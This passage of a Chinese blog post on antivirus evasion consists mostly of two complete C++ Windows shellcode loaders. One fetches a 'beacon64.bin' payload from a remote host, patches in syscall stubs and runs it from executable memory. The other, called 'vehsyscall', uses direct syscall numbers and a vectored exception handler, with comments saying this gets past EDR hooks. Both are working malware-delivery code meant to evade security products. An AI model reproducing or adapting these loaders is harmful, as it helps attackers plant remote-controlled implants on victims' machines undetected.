    for (int i = 0; i < len; ++i) {
        ustr[i] = static_cast<unsigned char>(str[i]);
    }
    ustr[len] = '\0'; // 添加字符串结束符

    return ustr;
}
// 获取指定进程的主模块句柄
HMODULE GetMainModule(HANDLE hProcess)
{
    HMODULE mainModule = NULL; // 主模块句柄,初始化为NULL
    HMODULE* lphModule; // 指向模块句柄数组的指针
    LPBYTE lphModuleBytes; // 指向模块句柄缓冲区的指针
    DWORD lpcbNeeded; // 存储模块句柄所需的缓冲区大小

    // 首先调用EnumProcessModules来获取存储模块句柄所需的空间大小(以字节为单位)
    BOOL success = EnumProcessModules(hProcess, NULL, 0, &lpcbNeeded);

    // 我们已经知道lpcbNeeded一定大于0
    if (!success || lpcbNeeded == 0)
    {
        printf("[-] Error enumerating process modules\n");
        // 我们已经知道无法动态放置系统调用指令,退出
        exit(1);
    }
    // 一旦我们获取到存储该进程所有模块句柄所需的字节数,我们可以为其分配空间
    lphModuleBytes = (LPBYTE)LocalAlloc(LPTR, lpcbNeeded);

    if (lphModuleBytes == NULL)
    {
        printf("[-] Error allocating memory to store process modules handles\n");
        exit(1);
    }
    unsigned int moduleCount;

    moduleCount = lpcbNeeded / sizeof(HMODULE);
    lphModule = (HMODULE*)lphModuleBytes;

    success = EnumProcessModules(hProcess, lphModule, lpcbNeeded, &lpcbNeeded);

    if (!success)
    {
        printf("[-] Error enumerating process modules\n");
        exit(1);
    }

    // 最后存储主模块
    mainModule = lphModule[0];

    // 避免内存泄漏
    LocalFree(lphModuleBytes);

    // 返回主模块
    return mainModule;
}

// 获取主模块信息
BOOL GetMainModuleInformation(PULONG64 startAddress, PULONG64 length)
{
    HANDLE hProcess = GetCurrentProcess();  // 获取当前进程句柄
    HMODULE hModule = GetMainModule(hProcess); // 获取主模块句柄
    MODULEINFO mi;  // MODULEINFO结构体

    GetModuleInformation(hProcess, hModule, &mi, sizeof(mi));  // 获取模块信息,存储在mi中

    printf("Base Address: 0x%llu\n", (ULONG64)mi.lpBaseOfDll);  // 输出模块加载基址
    printf("Image Size:   %u\n", (ULONG)mi.SizeOfImage); // 输出模块映像大小
    printf("Entry Point:  0x%llu\n", (ULONG64)mi.EntryPoint); // 输出模块入口点 
    printf("\n");

    *startAddress = (ULONG64)mi.lpBaseOfDll;  // 将加载基址存储在startAddress中
    *length = (ULONG64)mi.SizeOfImage;  // 将映像大小存储在length中

    DWORD oldProtect;
    // 将页面属性设置为可执行可读可写
    VirtualProtect(mi.lpBaseOfDll, mi.SizeOfImage, PAGE_EXECUTE_READWRITE, &oldProtect);

    return 0;
}

void FindAndReplace(unsigned char egg[], unsigned char replace[])
{

    ULONG64 startAddress = 0;  // 主模块加载基址
    ULONG64 size = 0;  // 主模块映像大小

    GetMainModuleInformation(&startAddress, &size);  // 获取主模块信息,更新startAddress和size

    if (size <= 0) {
        printf("[-] Error detecting main module size");
        exit(1);
    }

    ULONG64 currentOffset = 0;  // 当前偏移

    unsigned char* current = (unsigned char*)malloc(8 * sizeof(unsigned char*));  // 分配8字节空间
    size_t nBytesRead;

    printf("Starting search from: 0x%llu\n", (ULONG64)startAddress + currentOffset);

    while (currentOffset < size - 8)  // 循环搜索, currentOffset 的最大值为 size - 8
    {
        currentOffset++;
        LPVOID currentAddress = (LPVOID)(startAddress + currentOffset); // 计算当前搜索地址
        if (DEBUG > 0) {
            printf("Searching at 0x%llu\n", (ULONG64)currentAddress);
        }
        if (!ReadProcessMemory((HANDLE)((int)-1), currentAddress, current, 8, &nBytesRead)) {
            printf("[-] Error reading from memory\n");
            exit(1);
        }
        if (nBytesRead != 8) {
            printf("[-] Error reading from memory\n");
            continue;
        }

        if (DEBUG > 0) {   // 调试输出当前读取的8字节
            for (int i = 0; i < nBytesRead; i++) {
                printf("%02x ", current[i]);
            }
            printf("\n");
        }

        if (memcmp(egg, current, 8) == 0)  // 如果读取的8字节与egg匹配
        {
            printf("Found at %llu\n", (ULONG64)currentAddress);
            // 替换为replace 
            WriteProcessMemory((HANDLE)((int)-1), currentAddress, replace, 8, &nBytesRead);
        }

    }
    printf("Ended search at:   0x%llu\n", (ULONG64)startAddress + currentOffset);
    free(current); // 释放current分配的内存空间
}


unsigned char hexCharToUnsignedChar(char hex) {
    if ('0' <= hex && hex <= '9') {
        return hex - '0';
    }
    else if ('a' <= hex && hex <= 'f') {
        return hex - 'a' + 10;
    }
    else if ('A' <= hex && hex <= 'F') {
        return hex - 'A' + 10;
    }
    return 0;
}

// 将两个十六进制字符组成的字符串转换为相应的 unsigned char 数值
unsigned char hexStringToUnsignedChar(const std::string& hexString) {
    if (hexString.length() != 2) {
        return 0; // 输入错误,返回0
    }
    return (hexCharToUnsignedChar(hexString[0]) << 4) | hexCharToUnsignedChar(hexString[1]);
}

// 将十六进制字符串转换为相应的 unsigned char 数组
std::string hexStringToUnsignedCharArray(const std::string& hexString) {
    size_t length = hexString.length();
    if (length % 2 != 0) {
        return ""; // 长度不是偶数,无法正确转换,返回空字符串
    }
    std::string result;
    for (size_t i = 0; i < length; i += 2) {
        result += hexStringToUnsignedChar(hexString.substr(i, 2));
    }
    return result;
}


/* length: 892 bytes */
unsigned int calc_len = 924-32;
std::string ByteToHex(unsigned char byte) {
    std::ostringstream oss;
    oss << std::hex << std::uppercase << std::setw(2) << std::setfill('0') << static_cast<unsigned int>(byte);
    return oss.str();
}

std::string BinaryToHex(const std::vector<unsigned char>& binaryData) {
    std::ostringstream oss;
    for (unsigned char byte : binaryData) {
        oss << ByteToHex(byte);
    }
    return oss.str();
}

DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {

    DWORD oldp = 0;
    BOOL returnValue;

    size_t origsize = strlen(host) + 1;
    const size_t newsize = 100;
    size_t convertedChars = 0;
    wchar_t Whost[newsize];
    mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    struct addrinfo* result = NULL,
        * ptr = NULL,
        hints;
    char sendbuf[MAX_PATH] = "";
    lstrcatA(sendbuf, "GET /");
    lstrcatA(sendbuf, resource);

    char recvbuf[DEFAULT_BUFLEN];
    memset(recvbuf, 0, DEFAULT_BUFLEN);
    int iResult;
    int recvbuflen = DEFAULT_BUFLEN;


    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        //printf("WSAStartup failed with error: %d\n", iResult);
        return 0;
    }

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    // Resolve the server address and port
    iResult = getaddrinfo(host, port, &hints, &result);
    if (iResult != 0) {
        //printf("getaddrinfo failed with error: %d\n", iResult);
        WSACleanup();
        return 0;
    }

    // Attempt to connect to an address until one succeeds
    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

        // Create a SOCKET for connecting to server
        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
        if (ConnectSocket == INVALID_SOCKET) {
            //printf("socket failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return 0;
        }

        // Connect to server.
       // printf("[+] Connect to %s:%s", host, port);
        iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (iResult == SOCKET_ERROR) {
            closesocket(ConnectSocket);
            ConnectSocket = INVALID_SOCKET;
            continue;
        }
        break;
    }

    freeaddrinfo(result);

    if (ConnectSocket == INVALID_SOCKET) {
        // printf("Unable to connect to server!\n");
        WSACleanup();
        return 0;
    }

    // Send an initial buffer
    iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
    if (iResult == SOCKET_ERROR) {
        //printf("send failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }

    // printf("\n[+] Sent %ld Bytes\n", iResult);

     // shutdown the connection since no more data will be sent
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        //printf("shutdown failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }


    memset(recvbuf_ptr, 0, 400000);
    DWORD total_received = 0;
    // Receive until the peer closes the connection
    do {

        iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
        if (iResult > 0)
        {
            //printf("[+] Received %d Bytes\n", iResult);
            memcpy(recvbuf_ptr, recvbuf, iResult);
            recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
            total_received += iResult; // 更新接收到的总字节数
            //printf("[+] Received total %d Bytes\n", total_received);
        }

        else if (iResult == 0) {
            break;
            //printf("[+] Connection closed\n");
        }

        else
        {
            return 1;
            //printf("recv failed with error: %d\n", WSAGetLastError());
        }



        //RunShellcode(recvbuf, recvbuflen);

    } while (iResult > 0);


    // cleanup
    closesocket(ConnectSocket);
    WSACleanup();

    return total_received;
}



int main()
{
    char* data = (char*)malloc(400000);
    char* ip = "";
    char* RemotePort = "5001";
    char* Resource = "beacon64.bin";

    int length = getShellcode_Run(ip, RemotePort, Resource, data);

    cout << "size of data =" << sizeof(data) << endl;
    cout << "size of file =" << length << endl;
    /*for (int i = 0; i < length; i++)
    {
        printf("\\%x ", data[i]);
    }*/
    printf("\n");
    
    unsigned char egg[] = { 0x74, 0x0, 0x0, 0x7a, 0x74, 0x0, 0x0, 0x7a }; // egg
    unsigned char replace[] = { 0x0f, 0x05, 0x90, 0x90, 0xC3, 0x90, 0xCC, 0xCC }; // syscall; nop; nop; ret; nop; int3; int3
    FindAndReplace(egg, replace);
    
    HANDLE hProc = GetCurrentProcess();
    DWORD oldprotect = 0;
    PVOID base_addr = NULL;
    HANDLE thandle = NULL;

    NTSTATUS NTAVM = NtAllocateVirtualMemory(hProc, &base_addr, 0, (PSIZE_T)&length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    NTSTATUS ABM = NtWriteVirtualMemory(hProc, base_addr, data, length, 0);
    //RtlMoveMemory(base_addr, calc_payload, calc_len);

    NTSTATUS ct = NtCreateThreadEx(&thandle, GENERIC_EXECUTE, NULL, hProc, base_addr, NULL, FALSE, 0, 0, 0, NULL); 
    WaitForSingleObject(thandle, -1);
    //free(base_addr);//clean up after ourselve
}

方法四:vehsyscall

参考链接:https://github.com/coleak2021/vehsyscall

#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>

#pragma comment(lib, "ntdll")
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")


#define NtCurrentProcess()	   ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

#include<iostream>
#include<string>
#include "peb.h"
#include <map>

using namespace std;

// define var
std::map<int, string> Nt_Table;
DWORD t = 0;
LPVOID m_Index = m_Index = GetProcAddress(GetModuleHandleA("Ntdll.dll"), "NtDrawText");//a safe function address that may not be hooked by edr

// function model
typedef DWORD(WINAPI* pNtCreateThreadEx)(
    PHANDLE hThread,
    ACCESS_MASK DesiredAccess,
    PVOID ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID lpStartAddress,
    PVOID lpParameter,
    ULONG Flags,
    SIZE_T StackZeroBits,
    SIZE_T SizeOfStackCommit,
    SIZE_T SizeOfStackReserve,
    PVOID lpBytesBuffer
    );
typedef DWORD(WINAPI* NtAllocateVirtualMemory)(
    HANDLE    ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T   RegionSize,
    ULONG     AllocationType,
    ULONG     Protect
    );
typedef DWORD(WINAPI* NtProtectVirtualMemory)(
    HANDLE    ProcessHandle,
    PVOID* BaseAddress,
    PSIZE_T   RegionSize,
    ULONG     Protect,
    PDWORD    oldProtect
    );
//function declare
int GetSSN(std::string apiname);
void savemap();
PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len);
LONG WINAPI VectExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo);
extern "C" extern VOID hello();

//calc shellcode


DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {

    DWORD oldp = 0;
    BOOL returnValue;

    size_t origsize = strlen(host) + 1;
    const size_t newsize = 100;
    size_t convertedChars = 0;
    wchar_t Whost[newsize];
    mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    struct addrinfo* result = NULL,
        * ptr = NULL,
        hints;
    char sendbuf[MAX_PATH] = "";
    lstrcatA(sendbuf, "GET /");
    lstrcatA(sendbuf, resource);

    char recvbuf[DEFAULT_BUFLEN];
    memset(recvbuf, 0, DEFAULT_BUFLEN);
    int iResult;
    int recvbuflen = DEFAULT_BUFLEN;


    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        printf("WSAStartup failed with error: %d\n", iResult);
        return 0;
    }

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    // Resolve the server address and port
    iResult = getaddrinfo(host, port, &hints, &result);
    if (iResult != 0) {
        printf("getaddrinfo failed with error: %d\n", iResult);
        WSACleanup();
        return 0;
    }

    // Attempt to connect to an address until one succeeds
    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

        // Create a SOCKET for connecting to server
        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
        if (ConnectSocket == INVALID_SOCKET) {
            printf("socket failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return 0;
        }

        // Connect to server.
        printf("[+] Connect to %s:%s", host, port);
        iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (iResult == SOCKET_ERROR) {
            closesocket(ConnectSocket);
            ConnectSocket = INVALID_SOCKET;
            continue;
        }
        break;
    }

    freeaddrinfo(result);

    if (ConnectSocket == INVALID_SOCKET) {
        printf("Unable to connect to server!\n");
        WSACleanup();
        return 0;
    }

    // Send an initial buffer
    iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
    if (iResult == SOCKET_ERROR) {
        //printf("send failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }

    printf("\n[+] Sent %ld Bytes\n", iResult);

     // shutdown the connection since no more data will be sent
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        printf("shutdown failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }


    memset(recvbuf_ptr, 0, 2000);
    DWORD total_received = 0;
    // Receive until the peer closes the connection
    do {

        iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
        if (iResult > 0)
        {
            printf("[+] Received %d Bytes\n", iResult);
            memcpy(recvbuf_ptr, recvbuf, iResult);
            recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
            total_received += iResult; // 更新接收到的总字节数
            printf("[+] Received total %d Bytes\n", total_received);
        }

        else if (iResult == 0) {
            break;
            printf("[+] Connection closed\n");
        }

        else
        {
            return 1;
            printf("recv failed with error: %d\n", WSAGetLastError());
        }



        //RunShellcode(recvbuf, recvbuflen);

    } while (iResult > 0);


    // cleanup
    closesocket(ConnectSocket);
    WSACleanup();

    return total_received;
}

//main function
int main(int argc, char* argv[]) {
    savemap();
    // register VEH function
    AddVectoredExceptionHandler(1, VectExceptionHandler); // first jmp to VectExceptionHandler

    //Initialization parameter
    HANDLE hProcess = GetCurrentProcess();
    HANDLE hThread;
    PVOID lpAddress = NULL;
    char* rawData = (char*)malloc(2000);
    char* ip = "";
    char* RemotePort = "5001";
    char* Resource = "c_bin.bin";
    SIZE_T sDataSize = getShellcode_Run(ip, RemotePort, Resource, rawData);
    DWORD ulOldProtect;

    //exec NtAllocateVirtualMemory
    NtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;
    t = GetSSN("ZwAllocateVirtualMemory");
    pNtAllocateVirtualMemory((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);

    //write your code
    VxMoveMemory(lpAddress, rawData, sDataSize);

    //exec NtProtectVirtualMemory
    NtProtectVirtualMemory pNtProtectVirtualMemory = NULL;
    t = GetSSN("ZwProtectVirtualMemory");
    NTSTATUS TMP = pNtProtectVirtualMemory((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);


    //exec NtCreateThreadEx
    pNtCreateThreadEx NtCreateThreadEx = NULL;
    t = GetSSN("ZwCreateThreadEx");
    NtCreateThreadEx(&hThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpAddress, NULL, 0, 0, 0, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}
//find function order
void savemap()
{
    PBYTE ImageBase;
    PIMAGE_DOS_HEADER Dos = NULL;
    PIMAGE_NT_HEADERS Nt = NULL;
    PIMAGE_FILE_HEADER File = NULL;
    PIMAGE_OPTIONAL_HEADER Optional = NULL;
    PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;

    PPEB Peb = (PPEB)__readgsqword(0x60);
    PLDR_MODULE pLoadModule;
    int num = 0;
    pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
    ImageBase = (PBYTE)pLoadModule->BaseAddress;

    Dos = (PIMAGE_DOS_HEADER)ImageBase;
    if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
        return;
    Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
    File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
    Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
    ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);
    PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
    PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
    PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
    for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
    {
        PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
        PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
        if (strncmp((char*)pczFunctionName, "Zw", 2) == 0) {
            Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
        }
    }
}
int GetSSN(std::string apiname)
{
    int index = 0;
    for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter)
    {
        if (apiname == iter->second)
            return index;
        index++;
    }
}

PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) {
    char* d = (char*)dest;
    const char* s = (char*)src;
    while (len--)
        *d++ = *s++;
    return dest;
}
//VEH function
LONG WINAPI VectExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo) {
    // handle EXCEPTION_ACCESS_VIOLATION
    if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
        // Construct syscall stub

        pExceptionInfo->ContextRecord->R10 = pExceptionInfo->ContextRecord->Rcx; // mov r10,rcx
        hello();
        pExceptionInfo->ContextRecord->Rax = t;   //mov rax,xxx
        hello();
        pExceptionInfo->ContextRecord->Rip = (DWORD64)((DWORD64)m_Index + 0x12); // syscall
        hello();
        return EXCEPTION_CONTINUE_EXECUTION; // cintinue your code
    }
    return EXCEPTION_CONTINUE_SEARCH; //find othner function to handle VEH  
}

标签:recvbuf,iResult,免杀,syscall,char,int,printf,ptr
From: https://www.cnblogs.com/xiaoxin07/p/18118032

相关文章

  • 免杀杂谈
    0.零散知识0x00添加图标:尝试了几种大众方法,感觉还是这篇文章的方法好用https://www.sqlsec.com/2020/10/csexe.html#%E6%B7%BB%E5%8A%A0%E5%9B%BE%E6%A0%870x01添加签名:sigthief下载地址:https://github.com/secretsquirrel/SigThiefpythonsigthief.py-i"C:\ProgramFil......
  • 免杀-静态绕过总结
    2.静态绕过2x0远程分段加载shellcode我最经常使用的一种静态绕过的方法效果:能过火绒360动静态,但是一些添加用户的命令依然会拦截加上隐藏窗口360免不了,火绒还是可以#include<winsock2.h>#include<ws2tcpip.h>#include<Windows.h>#include<stdio.h>#pragmacomme......
  • 红队攻防之PowerShell基础免杀(二)
    Getbusylivingorgetbusydying什么是图片免杀?答:一般情况下,某些AV对图像未执行检测处理。这种情况下,它们可以仅使用有效负载数据来生成新图像,或将有效负载嵌入到现有图像的最低有效字节中,使其看起来像实际图像。这些图像以PNG格式保存,可进行无损压缩,不影响执行有效......
  • 20211317李卓桐Exp3-免杀原理实验报告
    Exp3-免杀原理任务详情1.实践内容(4分+1分附加分)1.1方法(分)正确使用msf编码器,使用msfvenom生成如jar之类的其他文件(1分),veil,加壳工具(1分),使用C+shellcode编程(1分),1.2通过组合应用各种技术实现恶意代码免杀(1分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共......
  • 第3次实验-免杀原理
    第3次实验1基础问题回答(1)杀软是如何检测出恶意代码的?杀毒软件检测恶意代码的主要方法包括:签名检测:这是最传统的方法,依赖于一个不断更新的恶意软件签名数据库。杀软通过比对文件的特征码(签名)与已知恶意软件的特征码进行匹配来检测恶意代码。行为分析:杀软监控程序的行为,包括对......
  • 内网渗透-免杀
    木马免杀免杀主要是对木马对应的二进制码(shellcode)进行混淆、加密(绕过特征检测),让杀毒软件识别不出来。msfvenom-shellcode使用msf生成shellcode(马对应的16进制),再使用高级语言加载上述生成的shellcode。然后把python程序打包成exe文件msfvenom-pwindows/x64/meterpreter/reve......
  • 红队攻防之exe文件签名免杀
    达则兼善天下,穷则独善其身1、生成cobaltstrikebin文件,选择raw选项。2、使用cobaltstrike分离免杀工具生成loader.exe文件。3、使用UPX对生成的exe文件进行加壳,加壳前后对比文件的大小。4、对loader.exe进行制作并签发证书-数字签名。(1)、检查程序中是否存证书。......
  • Powershell免杀系列(二)
    powershell的免杀⽅法有很多,对代码进⾏编码是最常⻅的⼀种,这⾥介绍⼀个专⻔⽤来对powershell进⾏编码免杀的框架Invoke-Obfuscation,这也是著名的APT32组织海莲花常⽤的⼀个⼯具。该工具可以对powershell代码进行ASCII/hex/octal/binary/SecureString进行加密混淆。执行如下命......
  • 某资产管理系统打点过程中的免杀经历
    上周初,被扔过来单位内部的一个链接,让渗透一下,本以为三下五除二很快就能测完,没想到在对抗杀软时费了一番功夫,再加上杂七杂八的事儿,经过了一个星期才测完(# ̄~ ̄#)。打开链接,见到一个熟悉的登录框,是一个资产管理系统。在进行了一番端口目录、认证机制、会话管理、授权访问等方面的检查后......
  • Syscall笔记
    本文首发:https://xz.aliyun.com/t/13687基础知识我们知道,系统核心态指的是R0,用户态指的是R3,系统代码在核心态下运行,用户代码在用户态下运行。系统中一共有四个权限级别,R1和R2运行设备驱动,R0到R3权限依次降低,R0和R3的权限分别为最高和最低。而我们的**syscall**是一个计算机......